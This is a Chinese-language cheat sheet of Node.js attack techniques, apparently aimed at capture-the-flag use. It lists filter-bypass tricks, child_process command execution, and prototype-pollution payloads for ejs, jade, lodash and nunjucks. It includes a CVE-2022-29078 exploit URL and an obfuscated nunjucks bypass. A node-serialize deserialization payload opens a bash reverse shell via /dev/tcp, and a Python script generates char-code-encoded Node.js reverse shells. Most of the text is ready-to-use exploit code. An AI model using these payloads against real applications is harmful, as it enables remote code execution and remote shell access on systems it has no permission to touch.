node.js绕过

req.body => POST/PUT请求

req.params => 类似 /api/getUserListById/:id 路由,如 http://localhost:3000/giraffe/1

req.query => GET请求,如 http://localhost:3000/animals?page=10

绕过

toUpperCase() / toLowerCase()

  1. 特殊字符

    'ı'.toUpperCase()='I''ſ'.toUpperCase()='S''K'.toLowerCase()='k'

命令执行 (RCE)

1
2
Object.values(require('child_process'))[5]('cat${IFS}/G*>p')
require('child_process').spawnSync('nl',['p']).stdout.toString()

绕过

关键词

obj.constructorobj["constr"+"uctor"]obj["constru".concat("ctor")]String.fromCharCode(xxx)

thiseval("th"+"is")

__proto__constructor.prototype

原型链污染

原理

对于语句 object[a][b] = value 如果可以控制a, b, value的值,将a设置为 __proto__, 就可以给object对象的原型设置一个b属性,值为value,这样所有继承object对象原型的实例对象会在本身不拥有b属性的情况下,都会拥有b属性,且值为value。

常用污染函数

merge()

1
2
3
4
5
6
7
8
9
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}

clone()

1
2
3
function clone(obj) {
return merge({}, obj);
}

copy()

1
2
3
4
5
6
7
8
9
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}

常见模板引擎

ejs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{"__proto__":{"__proto__":{"outputFunctionName":"a=1; return global.process.mainModule.constructor._load('child_process').execSync('id'); //"}}}

{"__proto__":{"__proto__":{"outputFunctionName":"__tmp1; return global.process.mainModule.constructor._load('child_process').execSync('id'); __tmp2"}}}

{"__proto__":{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('id');","compileDebug":true}}}

{"__proto__":{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('id');","compileDebug":true,"debug":true}}}

SSTI
<%- global.process.mainModule.require('child_process').execSync('id') %>

CVE-2022-29078(ejs <= v3.1.9
参考:https://inhann.top/2023/03/26/ejs/
EXP:
?settings[view%20options][escapeFunction]=console.log;this.global.process.mainModule.require(%27child_process%27).execSync("touch /tmp/3.txt");&settings[view%20options][client]=true
POC:
{"settings":{"view options":{"escapeFunction":"console.log;this.global.process.mainModule.require(\"child_process\").execSync(\"touch /tmp/pwned\");","client":"true"}}}

jade

1
{"__proto__":{"__proto__": {"type":"Code","compileDebug":true,"self":true,"line":"0, \"\" ));return global.process.mainModule.constructor._load('child_process').execSync('dir');//"}}}

lodash

1
{"__proto__":{"sourceURL":"\u000aglobal.process.mainModule.constructor._load('child_process').exec('dir',function(){});"}}

nunjucks

1
2
3
4
5
6
7
8
9
10
11
{{range.constructor("return global.process.mainModule.require('child_process').exec('calc')")()}}

{{range.constructor("return global.process.mainModule.require('child_process').execSync('ls /').toString()")()}}

{{'string'.toString.constructor("return global.process.mainModule.require('child_process').exec('calc')")()}}

{{'string'.constructor.constructor("return global.process.mainModule.require('child_process').exec('calc')")()}}

绕过:
(使用unicode编码和`+`字符串拼接绕过关键字的过滤,用 `[]` 来绕过 `.`)
{{"string"["toSt"+"ring"]["const"+"ructor"]("return(global[\"\\u0070\\u0072\\u006f\\u0063\\u0065\\u0073\\u0073\"][\"\\u006d\\u0061\\u0069\\u006e\\u004d\\u006f\\u0064\\u0075\\u006c\\u0065\"][\"\\u0072\\u0065\\u0071\\u0075\\u0069\\u0072\\u0065\"](\"\\u0063\\u0068\\u0069\\u006c\\u0064\\u005f\\u0070\\u0072\\u006f\\u0063\\u0065\\u0073\\u0073\")[\"\\u0065\\u0078\\u0065\\u0063\\u0053\\u0079\\u006e\\u0063\"](\"id\")[\"\\u0074\\u006f\\u0053\\u0074\\u0072\\u0069\\u006e\\u0067\"]())")()}}

putil_merge

CVE-2021-23470

反序列化

模块:node-serialize

CVE-2017-5941

1
{"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/4444 0>&1\"',function(error,stdout, stderr) { console.log(stdout) });\n }()"}

构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
# Python2
#!/usr/bin/python
# Generator for encoded NodeJS reverse shells
# Based on the NodeJS reverse shell by Evilpacket
# https://github.com/evilpacket/node-shells/blob/master/node_revshell.js
# Onelineified and suchlike by infodox (and felicity, who sat on the keyboard)
# Insecurety Research (2013) - insecurety.net
import sys

if len(sys.argv) != 3:
print "Usage: %s <LHOST> <LPORT>" % (sys.argv[0])
sys.exit(0)

IP_ADDR = sys.argv[1]
PORT = sys.argv[2]


def charencode(string):
"""String.CharCode"""
encoded = ''
for char in string:
encoded = encoded + "," + str(ord(char))
return encoded[1:]

print "[+] LHOST = %s" % (IP_ADDR)
print "[+] LPORT = %s" % (PORT)
NODEJS_REV_SHELL = '''
var net = require('net');
var spawn = require('child_process').spawn;
HOST="%s";
PORT="%s";
TIMEOUT="5000";
if (typeof String.prototype.contains === 'undefined') { String.prototype.contains = function(it) { return this.indexOf(it) != -1; }; }
function c(HOST,PORT) {
var client = new net.Socket();
client.connect(PORT, HOST, function() {
var sh = spawn('/bin/sh',[]);
client.write("Connected!\\n");
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
sh.on('exit',function(code,signal){
client.end("Disconnected!\\n");
});
});
client.on('error', function(e) {
setTimeout(c(HOST,PORT), TIMEOUT);
});
}
c(HOST,PORT);
''' % (IP_ADDR, PORT)
print "[+] Encoding"
PAYLOAD = charencode(NODEJS_REV_SHELL)
print "eval(String.fromCharCode(%s))" % (PAYLOAD)